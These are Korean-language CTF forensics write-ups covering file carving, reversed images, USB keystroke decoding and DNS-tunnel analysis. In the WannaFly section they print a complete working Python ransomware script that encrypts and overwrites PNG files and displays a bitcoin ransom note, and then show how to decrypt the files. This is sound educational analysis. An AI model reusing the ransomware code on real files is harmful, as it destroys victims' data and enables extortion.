what`s going on here? i didn`t find anything important here, can you help me? https://drive.google.com/file/d/0B4uKSYzbAEkWbG5iWjBzVWFFUEU/view?usp=sharing Author: Aymen Borgi
문제 풀이¶
다운받은 파일을 확인한 결과 data 형식이다.
$ file file
file: data
일단 strings로 확인해본 결과, 다음과 같은 3개의 파일 존재를 확인할 수 있었다.
$ strings -n7 file|grep '\w\.\w\w\w$'
file.arj
2017_chevrolet_camaro_zl1_convertible-wide.jpg
flag.png
foremost를 이용해서 카빙할 경우 jpg만 뽑게되고, png를 확인할 수 없었다.
$ foremost file
Processing: file
|*|
$ ls -R output/
output/:
audit.txt jpg
output/jpg:
00000000.jpg
위에서 해당 파일 형식이 data라고 되어 있었으나, 해당 파일 헤더가 수정되어 있는 것으로 보이며, arj 파일 형식으로 변경 후 압축 해제를 진행해보자.
파일 헤더를 arj 형식으로 변경


압축 해제 후 png 파일에서 flag 획득

[2017_bugs_bunny] [Forensic] UNKOWN file !!¶
문제내용¶
my friend have send me a strange file ,I`m a noob hacker ,could you please solve it for me ?
문제 풀이¶
다운받은 파일을 확인한 결과 data 형식이다.
$ file UNKOWN
file: data
일단 strings로 확인해본 결과 문자열이 거꾸로 된 이미지 파일인 것으로 보인다.
$ strings -n7 file|grep '\w\.\w\w\w$'
......
WPMIG htiw detaerC
tnemmoCtXEt
EMIt
sYHp
DGKb
RDHI
해당 hex 값을 뽑아낸 다음 역으로 출력을 진행하면 플래그가 있는 이미지 파일을 확인할 수 있다.
$ xxd -p UNKOWN |tr -d '/\n/' > hexdump
f = open('hexdump','rb')
q = open('flag.png','wb')
decode_bin = f.read().decode('hex')
data = decode_bin[::-1]
print data
q.write(data)
f.close()
q.close()
[2017_ctfzone] [Forensic] PUZZLE¶
문제내용¶
No victory can dispense with mighty patron, hence the more powerful your supporter is the better. Yesterday you finally managed to get in contact with one secret society. It seems that they might back your candidate if you accomplish the task they sent you as a rite of passage. You may find it easy at first glance but I wouldn’t be so naive…
문제 풀이¶
gzip으로 압축된 리눅스 파일 시스템을 하나 준다. fsck로 확인해보니 19만개 가량의 파일을 가지고 있다.
$ file trial.img
trial.img: Linux rev 1.0 ext2 filesystem data, UUID=ec9143af-5a9c-4a45-8475-7a73956f2f83 (large files)
$ fsck.ext2 trial.img
e2fsck 1.42.13 (17-May-2015)
trial.img: clean, 186842/190080 files, 202630/220160 blocks
해당 파일 시스템을 마운트해서 파일 내용을 확인해보자
$ sudo mount trial.img trial_img/
마운트시킨 후 /home/trial 폴더에 파일을 확인해보니 Desktop에 의심스러운 파일들이 존재한다.
$ ls -R home/trial
home/trial:
Desktop Documents Downloads Music Pictures Public Templates Videos
home/trial/Desktop:
beglfri layout.png translate.txt
home/trial/Documents:
home/trial/Downloads:
home/trial/Music:
home/trial/Pictures:
home/trial/Public:
home/trial/Templates:
home/trial/Videos:
파일을 확인해보니 beglfri는 png파일로 퍼즐 조각이고, layout.png는 해당 그 조각의 위치를 표현하는 것으로 보인다.


translate.txt는 무언가 퍼즐로 나온 문자열에 대한 해석을 해주는 것으로 보인다.
1080 = qO
10th = $$
1st = Th
2 = O8
2d = fT
2nd = oc
3d = 9$
3m = 9w
3rd = @D
4gl = Ud
4h = Mx
4th = 3b
.......
먼저 beglfri 와 같은 퍼즐 조각을 파일 시스템 내에서 찾기 위해 조건을 생각해본다. 수정 날짜 및 시간은 모두 동일하기 때문에, 용량과 확장자가 없는 파일을 조건으로 find 진행
$ ls -al
total 6643
drwxr-xr-x 2 root root 1024 Jul 4 04:20 .
drwxr-xr-x 21 root root 1024 Jul 4 04:20 ..
-rw------- 1 root root 33390 Jul 4 04:20 beglfri
-rwxr--r-- 1 root root 3055 Jul 4 04:20 layout.png
-rwxr--r-- 1 root root 6734317 Jul 4 04:20 translate.txt
$ sudo find /home/joizel/ctf_test/trial_img/ -type f ! -name "*.*" -size +20k -size -40k -exec cp {} extract_file \;
해당 조건이 만족하는 파일들을 한 폴더에 복사한 후, PNG 파일인 것만 개수를 확인해보니 49개 인것으로 보아 최초에 추측한 게 맞는 것으로 보인다.
$ sudo file *|grep PNG|wc -l
49
해당 파일을 다른 폴더에 옮기고, png 확장자를 추가해준다. 파일을 옮기는 건 49개 일일이 옮기기 귀찮아서 bash 스크립트를 짯음
#!/bin/bash
list=`file * |grep PNG|awk -F: '{print $1}'`
for file in `echo $list`
do
`cp $file png_extract`
done
png 확장자 추가
$ rename "s/$/.png/" *
이 후, 퍼즐 조각을 그림에 맞춰보니 1달러의 일부분 인것으로 보인다.

각 퍼즐 조각의 파일명을 순서대로 나열하면 다음과 같다.
ybbxgbgu rrnfgabi vprnaqlb hjvyyfrr gurcngus ebzgurfr pbaqqrte
rrtbgbgu rsbheguc negsvaq gursvsg ugrzcyr naqfnla rkggjra
glsbhej beqffvy ragyloh ggjragl svsgujb eqnybhq orgjrra
pbanaqe ngbagur svefgqr terrsva qjurerc ehqrapr tbrfjvg
ubjgwhf gvprgur apbhags begifri rafgrcf sbetrgl bhepune
npgrena qfnlvgo rsbergv pguralb hzhfgna fjreseb zjurerl
bhpbzrn aqjurer lbhnerg eniryva tvagurz lfgrely nathntr
rot13으로 디코딩하면 다음과 같다.
look to the east novice
and you will see the path from the second degree
go to the fourth part
find the fifth temple
and say next twenty four words silently
but twenty fifth word aloud between con and rat
on the first degree
find where prudence goes with out justice
then count forty seven steps
forget your character and say it before tic
then you must answer from where you come and where you are traveling in the mystery language
그 다음 부터는 구글링하고 관련 정보를 찾는 부분으로 보이나, 시간 관계상 패스...
[2017_hackit] [Forensic] Foren100¶
문제내용¶
Description: This file was captured from one of the computers at the Internet cafe. We think that the hacker was using this computer at that time. Try to get his secret documents. ( flag format is flag{...} )
문제 풀이¶
해당 문제에서 제공해주는 pcap을 확인해보면, USB 데이터에 대한 패킷이다. HID 패킷 필터링을 위해 다음과 같이 필터링을 통해 데이터를 추출한다.
$ tshark -r task.pcap -T fields -e usb.capdata -Y "usb.capdata&&usb.bInterfaceClass == 0x03" > usb_capdata.txt
추출한 데이터는 8바이트로 이루어져 있는데, 3번 째 바이트가 입력값을 나타내는 바이트이다. 입력값에 대한 매핑을 통해 어떤 내용을 입력했는지 확인한다.
mappings = {
"00":" ",
"04":"A",
"05":"B",
"06":"C",
"07":"D",
"08":"E",
"09":"F",
"0a":"G",
"0b":"H",
"0c":"I",
"0d":"J",
"0e":"K",
"0f":"L",
"10":"M",
"11":"N",
"12":"O",
"13":"P",
"14":"Q",
"15":"R",
"16":"S",
"17":"T",
"18":"U",
"19":"V",
"1a":"W",
"1b":"X",
"1c":"Y",
"1d":"Z",
"1e":"1",
"1f":"2",
"20":"3",
"21":"4",
"22":"5",
"23":"6",
"24":"7",
"25":"8",
"26":"9",
"27":"0",
"28":"\\n",
"29":"esc",
"2a":"back",
"2b":"tab",
"2c":"space",
"2d":"_",
"2e":"=",
"2f":"{",
"30":"}",
"31":"\\",
"32":"Non-US",
"33":";",
"34":"'",
"35":"test1",
"36":",",
"37":".",
"38":"/",
"39":"Capslock",
"3a":"F1",
"3b":"F2",
"3c":"F3",
"3d":"F4",
"3e":"F5",
"3f":"F6",
"40":"F7",
"41":"F8",
"42":"F9",
"43":"F10",
"44":"F11",
"45":"F12",
"46":"PrintScreen",
"47":"ScrollLock",
"48":"Pause",
"49":"Insert",
"4a":"Home",
"4b":"PageUp",
"4c":"DeleteForward",
"4d":"End",
"4e":"PageDown",
"4f":"RightArrow",
"50":"LeftArrow",
"51":"DownArrow",
"52":"UpArrow",
}
f = open("usb_capdata.txt","rb")
data = f.readlines()
input_data = ""
for l in data:
point = l.split(':')[2]
print mappings[point]
input_data += mappings[point]
print input_data
W{W4JU},PT}=J5;9=PS73,I
K3.BN4;6PJIM0{U'H;FKS1S_
FLAG{K3YB0ARD_SN4KE_2.0}
B{{E{FU 7D{=.890}'41C4CE
3'CI.{5=57K9LC82Y41}5QZ3
[2017_shactf] [Forensic] WannaFly¶
문제내용¶
My daughter Kimberly her computer got hacked. Now she lost all her favorite images. Can you please help me recover those images?
문제 풀이¶
파일을 받아 압축을 해제해보니 이미지 파일으로 보인다.
$ file kimberly.img
kimberly.img: Linux rev 1.0 ext4 filesystem data, UUID=56e89f54-c4da-4c5e-a3c6-67398d341788 (extents) (large files) (huge files)
이미지를 마운트 시킨 후 파일 정보를 확인해보니 여러개의 이미지 파일과 .bash_history, ...파일 등이 보입니다.
$ sudo mount kimberly.img ctf_mount
$ ls -alR ctf_mount/
ctf_mount/:
total 34
drwxr-xr-x 12 1001 1001 1024 Jun 20 09:55 .
drwxrwxr-x 10 joizel joizel 4096 Aug 6 17:11 ..
-rwxr-xr-x 1 1001 1001 6835 Jun 20 09:13 ...
-rw------- 1 1001 1001 69 Jan 18 2017 .bash_history
drwx------ 2 1001 1001 1024 Jan 18 2017 .cache
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 Desktop
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 Documents
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 Downloads
drwx------ 2 root root 12288 Jan 18 2017 lost+found
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 Music
drwxrwxr-x 2 1001 1001 1024 Jun 20 08:04 Pictures
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 Public
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 Templates
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 Videos
ls: cannot open directory 'ctf_mount/.cache': Permission denied
ctf_mount/Desktop:
total 2
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 .
drwxr-xr-x 12 1001 1001 1024 Jun 20 09:55 ..
ctf_mount/Documents:
total 2
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 .
drwxr-xr-x 12 1001 1001 1024 Jun 20 09:55 ..
ctf_mount/Downloads:
total 2
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 .
drwxr-xr-x 12 1001 1001 1024 Jun 20 09:55 ..
ls: cannot open directory 'ctf_mount/lost+found': Permission denied
ctf_mount/Music:
total 2
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 .
drwxr-xr-x 12 1001 1001 1024 Jun 20 09:55 ..
ctf_mount/Pictures:
total 29123
drwxrwxr-x 2 1001 1001 1024 Jun 20 08:04 .
drwxr-xr-x 12 1001 1001 1024 Jun 20 09:55 ..
-rw-r--r-- 1 1001 1001 1040070 Jun 20 09:14 78d14f37ae413511b119776c2294c414.png
-rw-r--r-- 1 1001 1001 1747640 Jun 20 09:14 8210680-Palomino-Shetland-pony-Equus-caballus-3-years-old-standing-in-front-of-white-background-Stock-Photo.png
-rw-r--r-- 1 1001 1001 1262073 Jun 20 09:14 8210722-Palomino-Shetland-pony-Equus-caballus-3-years-old-standing-in-front-of-white-background-Stock-Photo.png
-rw-r--r-- 1 1001 1001 2194500 Jun 20 09:14 bay_pony_cantering_2_by_tamacilo.png
-rw-r--r-- 1 1001 1001 2144707 Jun 20 09:14 bay_pony_rolling2_by_tamacilo.png
-rw-r--r-- 1 1001 1001 1316679 Jun 20 09:14 connemara_pony2_750.png
-rw-r--r-- 1 1001 1001 645968 Jun 20 09:14 dappled-pony.png
-rw-r--r-- 1 1001 1001 947739 Jun 20 09:14 f09086061f03f080d0851d9154e11653.png
-rw-r--r-- 1 1001 1001 1564211 Jun 20 09:14 Het-verschil-tussen-een-pony-en-een-shetland-pony.png
-rw-r--r-- 1 1001 1001 1442577 Jun 20 09:14 oli.png
-rw-r--r-- 1 1001 1001 947331 Jun 20 09:14 Peppermint-Pony.png
-rw-r--r-- 1 1001 1001 3478821 Jun 20 09:14 pony.png
-rw-r--r-- 1 1001 1001 1916939 Jun 20 09:14 pony_shutterstock_50279794.png
-rw-r--r-- 1 1001 1001 1910486 Jun 20 09:14 shetlander-pony.png
-rw-r--r-- 1 1001 1001 832413 Jun 20 09:14 shutterstock_146544482-680x400.png
-rw-r--r-- 1 1001 1001 2111020 Jun 20 09:14 white-pony-951772_960_720.png
-rw-r--r-- 1 1001 1001 4308839 Jun 20 09:14 Wild_Pony_Assateague.png
ctf_mount/Public:
total 2
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 .
drwxr-xr-x 12 1001 1001 1024 Jun 20 09:55 ..
ctf_mount/Templates:
total 2
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 .
drwxr-xr-x 12 1001 1001 1024 Jun 20 09:55 ..
ctf_mount/Videos:
total 2
drwxrwxr-x 2 1001 1001 1024 Jan 18 2017 .
drwxr-xr-x 12 1001 1001 1024 Jun 20 09:55 ..
이미지 파일을 확인해보니 wannaflty라는 랜섬웨어에 감염.

위에서 의심스러웠던 ...파일을 먼저 확인해보면 암호화를 진행한 코드를 확인할 수 있다.
#!/usr/bin/env python
import random, string, sys, os
from time import time
from Crypto.Cipher import AES
import base64
from PIL import Image
from PIL import ImageFont
from PIL import ImageDraw
from PIL import ImageFilter
import textwrap
from io import BytesIO
IMG="""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"""
MSG="""This Image is encrypted by WannaFly Ransom-ware. If you want your original image back, feel free to contact us on sha2017ctf@gmail.com and make a bitcoin payment of 0.1 bitcoin to address 1QCc1EYncxTeSfTKpaCZ2hvMDwXULKRVWe"""
def get_iv():
iv = ""
random.seed(int(time()))
for i in range(0,16):
iv += random.choice(string.letters + string.digits)
return iv
def encrypt(m, p):
iv=get_iv()
aes = AES.new(p, AES.MODE_CFB, iv)
return base64.b64encode(aes.encrypt(m))
def decrypt(m, p, i):
aes = AES.new(p, AES.MODE_CFB, i)
return aes.decrypt(base64.b64decode(m))
def find_images():
i = []
#for r, d, f in os.walk(os.environ['HOME']):
for r, d, f in os.walk("."):
for g in f:
if g.endswith(".png"):
i.append((os.path.join(r, g)))
return i
def encrypt_images():
for i in find_images():
img = Image.open(i).filter(ImageFilter.GaussianBlur(radius=18))
draw = ImageDraw.Draw(img)
font = ImageFont.truetype("/usr/share/fonts/truetype/freefont/FreeSans.ttf", 18)
text = textwrap.wrap(MSG, width=60)
W, H = img.size
bird = Image.open(BytesIO(base64.b64decode(IMG)))
bw, bh = bird.size
offset = ((W-bw)/2, (H-bh)/2 - 80)
img.paste(bird, offset, bird)
pad = 0
for line in text:
w, h = draw.textsize(line, font=font)
draw.text(((W-w)/2, (H-h)/2 + pad), line, font=font, fill="white")
pad += 20
img.save('/tmp/sha.png')
encrypt_image(i)
def encrypt_image(img):
data = open(img, 'r').read()
encrypted_img = encrypt(data, sys.argv[1])
blurred_img = open('/tmp/sha.png', 'r').read()
stat = os.stat(img)
with open(img, 'r+') as of:
of.write('\0' * stat.st_size)
of.flush()
open(img, 'w').write(blurred_img + "\n" + encrypted_img)
if __name__ == '__main__':
if len(sys.argv) != 2:
print "Usage: %s <pass>" % sys.argv[0]
else:
encrypt_images()
해당 소스코드를 보면 sys.argv[1]이 plain값으로 보이는데 해당 소스에는 그에 관한 정보가 없다. .bash_history를 확인해본 결과 해당 plain값이 존재하는 것을 확인할 수 있다.
unset HISTFIL
ls -la
pwd
chmod +x ...
./... Hb8jnSKzaNQr5f7p
ls -Rla
여기서 한가지 더 문제는 iv값을 모른다는 것인데, 소스를 보면 get_iv를 구할 때 random.seed()를 time()으로 계산되는 것을 볼 수 있다. random.seed()를 주면 random이더라도 일정한 랜덤값을 주기 때문에 암호화될 때 시간을 알면 해당 iv값을 알 수 있다. 암호화가 진행된 시간은 해당 이미지 파일이 수정된 시간이므로, 이미지 파일이 수정된 시간을 확인한다.
from time import time
import random, string
import os
replace_time = os.stat("78d14f37ae413511b119776c2294c414.png").st_mtime
print int(replace_time)
random.seed(int(replace_time))
iv = ""
for i in range(0,16):
iv += random.choice(string.letters + string.digits)
print iv
# 1497975280
# QlPhcD7gsmdZaAQW
해당 iv값과 plain값을 이용해서 이미지 파일을 복호화하면 정상적인 이미지가 나온다.
import base64
from Crypto.Cipher import AES
def get_iv(t):
iv = ""
random.seed(t)
for i in range(0,16):
iv += random.choice(string.letters + string.digits)
return iv
def decrypt(m, p, i):
aes = AES.new(p, AES.MODE_CFB, i)
return aes.decrypt(base64.b64decode(m))
plain = "Hb8jnSKzaNQr5f7p"
replace_time = os.stat("78d14f37ae413511b119776c2294c414.png").st_mtime
iv = get_iv(replace_time)
data = open("78d14f37ae413511b119776c2294c414.png", 'rb').read()
end = data.index('IEND')+9
data = data[end:]
decrypted_img = decrypt(data, plain, iv)
open("78d14f37ae413511b119776c2294c414.png"+"_flag.png", 'wb').write(decrypted_img)
위와 같은 방식으로 전체 파일에 대해 복호화를 진행하면 플래그 획득
[2017_trendmicro] [Forensic] Forensic100¶
문제내용¶
A Security Analyst observed some odd traffic to a domain that they hadn't seen before. Not knowing whats going on the Analyst asked for further assitance. Have a look at the PCAP and determine what is going on. Hackers are using old techniques to send information to their servers from a comprimised host within the network. The task is to determine what is being sent, and then find if any important information is being transmitted. Download the file Decrypt the downloaded file by the following command.
문제 풀이¶
해당 문제에서 제공해주는 pcap을 확인해보면, 전체적으로 DNS 패킷으로 이루어져있는 것을 확인할 수 있다.
DNS 쿼리를 보면 도메인상에 무언가 난독화된 문자열들이 전송되는 것을 확인할 수 있는데, 해당 문자열을 tshark 또는 직접 python 코딩을 통해 난독화 문자열을 추출해보자. tshark를 이용하여 추출
$ tshark -r output.pcap -Y "ip.dst_host==192.168.16.153" -T fields -e ip.src -e dns.resp.name | awk '{print $2}' | awk -F. '{print $1}' | tr -d '\n' > for100.txt
$ cat for100.txt
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